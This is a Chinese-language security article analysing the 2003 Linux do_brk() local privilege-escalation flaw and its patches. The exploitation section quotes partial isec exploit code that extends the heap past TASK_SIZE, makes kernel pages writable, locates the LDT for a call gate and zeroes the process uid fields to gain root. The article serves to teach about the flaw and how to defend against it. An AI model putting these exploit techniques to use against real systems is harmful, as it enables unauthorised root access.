Brk漏洞分析和修补brk漏洞分析
有点out of date乐:(
希望对大家还能有点用。。。
Brk漏洞分析
by icbm@0x557
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
Brk漏洞分析
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
前言:
11月21日在Full-Disclosure邮件列表里收到一封Debian Linux安全小组发来的题目为"Some Debian Project machines have been compromised"的安全公告。该安全公告中提到Debian多台服务器被入侵,令人奇怪的是其中并没有提到任何被入侵的细节只是说过几天后会公布对被入侵主机的取证结果。这个公告引起了我们极大兴趣,因为Debian Linux的安全性是非常好的,攻击者肯定使用了一些未知漏洞获取了管理员权限,几天后终于获悉攻击者使用的就是本文将要分析的漏洞do_brk()边界检查不充分导致本地权限提升漏洞。因为这种漏洞对系统产生的影响非常罕见,所以我们甚至可以定义此漏洞为一种新的漏洞类型。在下面的篇幅中我们就此漏洞的背景,成因,利用方法展开讨论。
1.brk漏洞背景
在分析该漏洞前先来看看它的一些背景资料,说不定我们可以从这些背景资料中能发现一些有用东西:)
其实这个brk漏洞在今年9月份就被Linux内核开发人员发现,并在9月底发布的Linux kernel 2.6.0-test6中就对该漏洞作了修补。奇怪的是Linux Kernel开发人员可能认为这个漏洞并不是什么严重问题,所以对该漏洞的发现修补未作任何安全公告,如此轻率的处理安全漏洞的举动使Linux系统管理员完全没有注意到此漏洞的存在更不要说对系统修补此漏洞了。同时在2003年9月底的时候,isec的Paul (IhaQueR) Starzetz 也发现了此漏洞,isec对此漏洞进行了详细地分析并且对此漏洞的攻击方法作了深入的研究,写出了brk漏洞非常稳定且有效的攻击程序。因为攻击程序的泄漏,所以使攻击者利用此攻击程序获取了Debian的多台服务器管理员权限。11月28日Linux内核推出了2.4.23版本中才修补了此漏洞,至此经过了两个多月此漏洞才被在Linux稳定版本内核中修补。
2.漏洞原理分析
在分析此漏洞之前我们先来简单介绍一下Linux内存管理方面的知识。
在Linux中每一个进程都可以访问0-4G的虚拟线性内存地址,而其中0-3G(0xc0000000)为用户空间,用户进程可以访问其中任何一个地址。这个最大值(0xc0000000)在Linux中通常被定义为TASK_SIZE,这个值也就是用户空间所能访问的极限。从3G-4G的虚拟内存地址空间为内核态地址空间,其中存放的数据由所有进程共享但只能由内核访问,用户进程不能访问。用户进程可以通过中断或者系统调用使操作系统的用户态切换到内核态来访问内核态数据。如果读者想进一步了解Linux内存管理方面的知识可以阅读参考1。
Ok,现在我们有了Linux内存管理的一些概念后,大家可以大胆的设想一下:如果我们可以通过某些操作(或者某些Linux操作系统中的漏洞)来突破这个TASK_SIZE的限制将会出现什么情况呢?嗯,对了,这时候我们就可以访问到内核中敏感的数据,通过对这些敏感数据的操作就可以获得系统的最高权限。
然后让我们回到这次讨论的brk漏洞中,该漏洞被发现于brk系统调用中。brk系统调用可以对用户进程的堆的大小进行操作,使堆扩展或者缩小。我们先来看一下从Linux内核源代码中抽取的系统调用sys_brk的部分源代码。
--------------------[linux/mm/mmap.c line:147]----------------------------------------------
asmlinkage unsigned long sys_brk(unsigned long brk)
{
unsigned long rlim, retval;
unsigned long newbrk, oldbrk;
struct mm_struct *mm = current->mm;
down_write(&mm->mmap_sem);
if (brk < mm->end_code)
goto out;
newbrk = PAGE_ALIGN(brk);
oldbrk = PAGE_ALIGN(mm->brk);
if (oldbrk == newbrk)
goto set_brk;
/* Always allow shrinking brk. */
if (brk <= mm->brk) {
if (!do_munmap(mm, newbrk, oldbrk-newbrk))
goto set_brk;
goto out;
}
......
/* Ok, looks good - let it rip. */
if (do_brk(oldbrk, newbrk-oldbrk) != oldbrk) //这里可以看到真正对堆进行操作的是do_brk()函数
goto out;
set_brk:
mm->brk = brk;
out:
retval = mm->brk;
up_write(&mm->mmap_sem);
return retval;
--------------------[linux/mm/mmap.c end]-----------------------------------------------------
大家看了系统调用sys_brk的源代码后可以发现其实它内部是调用了do_brk()函数来对堆进行操作,让我们再来看一下do_brk()函数的源代码来看看这个bug真正是怎么产生的;)
--------------------[linux/mm/mmap.c line:1033]----------------------------------------------
unsigned long do_brk(unsigned long addr, unsigned long len)
{
struct mm_struct * mm = current->mm;
struct vm_area_struct * vma, * prev;
unsigned long flags;
rb_node_t ** rb_link, * rb_parent;
len = PAGE_ALIGN(len);
if (!len)
return addr;
/*
* mlock MCL_FUTURE?
*/
if (mm->def_flags & VM_LOCKED) {
unsigned long locked = mm->locked_vm << PAGE_SHIFT;
locked += len;
if (locked > current->rlim[RLIMIT_MEMLOCK].rlim_cur)
return -EAGAIN;
}
/*
* Clear old maps. this also does some error checking for us
*/
munmap_back:
vma = find_vma_prepare(mm, addr, &prev, &rb_link, &rb_parent);
if (vma && vma->vm_start < addr + len) {
if (do_munmap(mm, addr, len))
return -ENOMEM;
goto munmap_back;
}
/* Check against address space limits *after* clearing old maps... */
if ((mm->total_vm << PAGE_SHIFT) + len
> current->rlim[RLIMIT_AS].rlim_cur)
return -ENOMEM;
if (mm->map_count > max_map_count)
return -ENOMEM;
if (!vm_enough_memory(len >> PAGE_SHIFT))
return -ENOMEM;
flags = VM_DATA_DEFAULT_FLAGS | mm->def_flags;
/* Can we just expand an old anonymous mapping? */
if (rb_parent && vma_merge(mm, prev, rb_parent, addr, addr + len, flags))
goto out;
/*
* create a vma struct for an anonymous mapping
*/
vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
if (!vma)
return -ENOMEM;
……
}
/* Build the RB tree corresponding to the VMA list. */
void build_mmap_rb(struct mm_struct * mm)
{
struct vm_area_struct * vma;
rb_node_t ** rb_link, * rb_parent;
mm->mm_rb = RB_ROOT;
rb_link = &mm->mm_rb.rb_node;
rb_parent = NULL;
for (vma = mm->mmap; vma; vma = vma->vm_next) {
__vma_link_rb(mm, vma, rb_link, rb_parent);
rb_parent = &vma->vm_rb;
rb_link = &rb_parent->rb_right;
}
}
--------------------[linux/mm/mmap.c end]----------------------------------------------
从上面的代码中我们可以看到do_brk()函数在调整进程堆的大小时没有对参数len进行任何检查也没有对addr+len是否超过TASK_SIZE做检查。这样我们就可以向它提交任意大小的参数len,使用户进程的大小任意改变以至可以超过TASK_SIZE的限制使系统认为内核范围的内存空间也是可以被用户访问的,这样的话普通用户就可以访问到内核的内存区域。
好了,现在我们分析了为什么这个do_brk()出现这样的漏洞,也讨论了这个漏洞会产生什么影响,但是我们更关心的是如果让我们访问内核的内存区域,我们要做些什么工作,我们可以获得什么信息,怎样修改内核中的信息才能提升我们的权限?接下来让我们把目标放在对此漏洞的利用上。
3.漏洞利用分析
Debian服务器被攻击后很多安全专家都在研究讨论brk漏洞,从上面背景材料中知道刚开始内核开发人员发现该漏洞时并未及时作出修补也没有进行任何公告,其中一个原因就是这种类型的漏洞非常罕见,可能算是一种新型的漏洞吧。对这种可以扩展用户可访问内存区域到内核的内存区域的漏洞在以前并没有被广泛的研究讨论过,而且对这种漏洞产生的影响并不能被很直接的观察到。还有就是,这种漏洞的可利用性也从来没有被证实过,而且此漏洞产生的影响在内核中,利用这种漏洞的方法不像在Linux下利用缓冲区漏洞那样直接,会涉及到很多方面,更增加了利用此漏洞的困难。而isec却敏锐地观察到此漏洞对Linux内核安全的严重危害性,在对这种新漏洞类型的利用方面作了深入地研究,并且研究出了几种使利用这种漏洞成为可能并且提高了攻击程序稳定性的技术,12月初他们发布了关于此漏洞利用方法的详细分析与攻击程序。11月底时我们与HD Moore深入地讨论了关于此漏洞的利用方法与可能性,提出了一些利用此漏洞想法与疑问,因为isec发布的文档完美的回答了我们的这些问题,在这篇文档中就以我们提出的疑问为线索来描述这种新的类型漏洞的攻击技术。
问题1:
因为当时在bugtraq上发布了一个关于此漏洞poc代码,但此poc代码并不是直接利用do_brk()函数来触发此漏洞而是利用一个被构造的畸形elf文件来触发了此漏洞,经过我们讨论认为直接使用do_brk()系统调用要比使用构造的elf文件来触发此漏洞更为简单,接下来的问题就是怎么使用brk系统调用来触发此漏洞。
问题2:
怎么向扩展的内存区域写入数据,当时测试了几种方法都不成功,当时HD Moore认为绝对可以向内核区域中写入4个字节。我提出是否能直接使用ptrace来读些该被扩展的内存区域,但是测试了一下不知道什么原因没有成功。
问题3:
如果我们可以向内核里写入数据,我们想要写些什么东西?向哪里写?与kkqq讨论的结果是最简单的方法就是找到current然后直接uid=0;确实好方法。但是我们要怎么找到udi,gid,euid呢?
问题4:
因为当用户进程内存区域被扩展到内核内存区域时,系统就会认为这一部分内核区域也是用户进程内存区域的一部分,所以当进程退出时或者被中断退出时,系统就会释放这一部分内存这样就会破坏这一块内核内存区域使系统崩溃。所以怎样保证利用此漏洞时保持系统本身的稳定性也是一个问题。
下面让我们看看isec利用什么样的技术来解决这些难题的:
问题1的解决方法:
因为使用brk漏洞扩展进程的内存范围时,这个内存范围内不能有任何已经被映射过的内存。但是大家知道进程的堆栈地址范围就是在TASK_SIZE下方,想要使用brk漏洞来突破TASK_SIZE的限制,就得先把这一段内存范围搬离紧挨着TASK_SIZE的地方,怎么做呢?
就是给进程重新分配一个堆栈起始的地址,从isec提供的exp中我们可以看到:
void remap(void)
{
static char stack[8 MB]; /* new stack */
……
asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));//cool, get a new stack. movl statck+8M, %esp
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal("Unable to unmap stack");
……
}
首先分配了一个8MB的静态空间,然后把stack+8MB的地址放到esp中让堆栈指针指向着新的内存空间,这就是此进程获得一个新的堆栈。然后再unmap掉一段内存,这样就使我们可以使用这个漏洞来把地址扩展到TASK_SIZE以上。因为不能用brk系统调用一次就超过TASK_SIZE的限制,可以使用sbrk()来一次一小段的方法来越过这个TASK_SIZE。
/*critical code here, exploit the brk vul*/
void expand(void)
{
unsigned top = (unsigned) sbrk(0);//可以用sbrk(0)获得当前heap地址
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL) //每次扩展4k大小的内存区域
fatal("Kernel seems not to be vulnerable");
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
Ok,我们知道怎么触发此漏洞后接着来看看向刚才获得的这块大于TASK_SIZE的内存区域写数据。
问题2的解决方法:
看了isec对该漏洞利用方法的描述后,发现以前我们讨论的使用ptrace的方法也是可行的,但是忽略了一点普通用户进程因为权限不够还是不能访问kernel的页,需要改变这些内核使用的内存页面的属性。我们可以使用mprotect()系统调用为我们完成这个工作。
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) //把addr指的页的属性改变成可读写。
fatal("Unable to change page protection");
……
}
这样我们就可对改内核页面进行读写操作了。
问题3的解决方法:
现在我们可扩展进程的内存范围超过TASK_SIZE而且也修改了内核页的属性为可读写。接下来我们要解决的问题是怎么获得内核的运行权限来修改内核中的页面。Isec使用的一种方法就是通过使用ldt中的调用门来获得从普通用户权限到内核权限的转换。但是怎么找到进程中ldt的地址呢?可以通过扫描ldt表为分配与分配后的内存被映射的情况来找到ldt的准确地址。具体代码如下:
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);//使用asm ("verr (%%eax)" : : "a" (addr));来判断该页是否被映射
if (val == MAP_ISPAGE && (*m & bit) == 0) {//如果此页为已映射而且最后位不为1 if (!tmp) tmp = addr;
count++;//计算被映射页面数字
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal("double allocation\n");
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal("Unable to determine kernel address");
}
因为前面map()函数已经把这一段内存区域中的每一个页的最后一位置1,所以当ldt表被分配后ldt表占用的内存页都没有做标记这样就可以找到ldt表的准确位置。关于ldt与调用门的详细内容读者可以阅读参考2。
现在通过调用门我们就可以修改内核中的任意内容了,可是修改kernel的那些数据结构才能使我们提升权限呢?嗯,其实就像前面提到的如果能直接改写uid就可以了,现在我们面临的困难就是如何找到它。让我们来看看isec的exp中使用的方法:
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;//这个while用来寻找我们要改写的uid地址
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
……
}
这里我们可以看到这段代码就是在内存中寻找uid, euid,suid,fsuid都与getuid()相等的内存地址,然后把uid, euid,suid,fsuid,gid,egid,sgid,fsgid都改成0,这样该进程就获得了超级用户权限,因为euid等值也被修改了所以用execve()系统调用调用的进程也会有超级用户权限。
4.该漏洞引发的思考
现在让我们看一下该漏洞产生的影响,因为Linux内核开发人员未对此漏洞做及时的公告,因此很多管理员并不清楚此漏洞的危害性(当然,Debian被攻击以后肯定大家都应该知道这个漏洞了吧:)而且在漏洞未公告前攻击程序已经被大规模的泄漏,irc里已经有很多人在讨论攻击程序的使用方法了,这种攻击者已经获得攻击程序而管理员却连漏洞都不知道的情况下严重的威胁到了使用Linux系统用户的安全性。因为对此漏洞轻率地处理,从而产生这样的结果。我们可以从这个时事件上学习到,对系统中任何漏洞都不能掉以轻心。另外,因为此漏洞是一种新型的漏洞,对这种漏洞的研究与发现并没有完全展开,所以,这种类型的漏洞很有可能在系统内核中再次被发现。其他系统内核也可能会存在同样类似问题。当大家看完这篇文章后,下次再遇到同样的漏洞时,就不会再有陌生的感觉了,说不定发现下一个漏洞的就是你。
最后,祝大家在新的一年内玩“虫”愉快!
brk修补
前言:
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现,但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞,致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开,所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗?
前言:
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现,但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞,致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开,所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗?
brk漏洞是一个危害非常严重的本地漏洞,因为这种漏洞是一种新型的漏洞可以绕过缓冲区溢出的补丁和一些内核安全增强内核补丁,导致攻击者只要可以拿到任何本地用户的访问权限就可以在2.4.23内核以下的Linux系统上取得管理员权限。所以说最好的防御就是不让攻击者拿到任何可以访问本地系统的权限,但是这是最理想的情况。如果我们必须要为用户提供一些本地的访问权限或者系统上用户很多很有可能被攻击者获得一个本地的账号,所以给系统打补丁还是非常必要的。
接下来我们从多个方面来讨论三种针对该漏洞的修补方案,希望读者可以从下面的方案中找到合适自己的方案:
第一种方案:
最根本的方法就是直接升级内核到2.4.23,这样可以修补这个brk漏洞,可以在www.kernel.org下载2.4.23的完整源代码或者直接下载2.4.23的补丁包(http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.23.bz2)。虽然这种方法看上去好像很简单其实管理员还是需要考虑到很多因素,比如说兼容性问题,因为内核改动后内核中的一些数据结构被改变了一些特定的硬件驱动就会不兼容,还有升级新的内核后要考虑到一些应用是否还能正常运行。还有一些情况就是如果这样升级内核就需要重新编译并配置内核,然后需要重新启动机器以便以新的内核引导系统,这样就使得这种方案对管理员带来了更多的麻烦。
方案一总结:最根本的解决方案,如果没有兼容性的问题与管理的问题这个应该是解决这个漏洞的最佳方案。
第二种方案:
这种方案可以避免一些兼容性的问题,就是patch原来的内核中有漏洞的源代码。从代码方面来看要修补该漏洞其实很简单只需在mmap.c中的do_brk()里加入几行对参数判断的语句,检查参数是否为正常值如果不是则返回个-EINVAL:
if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk("caught do_brk exploit!!!\n");
return -EINVAL;
}
这种直接修改内核源代码的方案使当前服务器上运行的应用或者服务器硬件没有了兼容性的麻烦,不过还是要重新编译配置内核并重新启动机器以便使用新的内核所以并没有减轻管理上的麻烦。
方案二总结:
该方案因为只是在原有内核的基础上修补了有漏洞的代码,这样就使修补该漏洞而没有兼容性的麻烦,如果用户害怕兼容性方面的问题可以选择该方案。
第三种方案:
这种方案的目标是为了达到”on the fly”的效果,就是在不重新启动服务器的情况下动态的给系统打补丁。其实就是使用一些lkm的技术寻找所有do_brk的调用(call或者jump)并把有漏洞的do_brk的地址替换为我们自己的修补过得my_brk。在my_brk()中我们首先判断输入参数是否正确,如果正确则调用原来的do_brk(),其实这种方法就像一些内核后门替换了系统调用,让我们看一下该补丁的源代码:
unsigned long my_brk(unsigned long addr, unsigned long len)
{
len = PAGE_ALIGN(len);
if (!len)
return addr;
if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk("caught do_brk exploit!!!\n");
return -EINVAL;
}
return do_brk(addr,len); /*调用原有的do_brk()*/
}
上面这几句就是我们新的do_brk()函数my_brk(),下面让我们简单看看这个补丁是怎么寻找内核中所有调用do_brk的地方并把它替换的:
ptr=(unsigned char *)(do_brk); /* 首先获得do_brk的地址 */
newptr=(unsigned char *)(my_brk); /* my_brk的地址*/
for (cptr=start;cptr if (*cptr==0xe8||*cptr==0xe9){ /* 判断是否为0xe8或者0xe9就是call或者jump*/
cptr++;
lptr=(long *)cptr;
cptr+=4;
if ((cptr+*lptr)==(ptr)){ /* 是否指向do_brk*/
printk("fixing 0x%08lx\n",lptr); /*如果是覆盖为新的my_brk */
*lptr=(newptr-cptr);
方案三总结:
该方案可以”on the fly”的为内核打补丁不需要重新下载新的内核,也不需要重新编译配置内核只需要把该补丁模块insmod到内核中就行了(该模块见附带光盘),虽然这个方案有这么多好处但是还是有一些问题需要注意,加了此模块后可能会影响系统的稳定性而且肯定会降低系统的运行速度。
以上就是我们从兼容性,易升级性,系统稳定性等多个方面探讨了给大家推荐的三种方案,我想其中肯定有一款适合你:)希望读者从中能学习到给Linux系统打补丁的一些知识,使大家能看懂系统补丁是怎么修补系统的,这样以后就可以提高系统整体的安全性。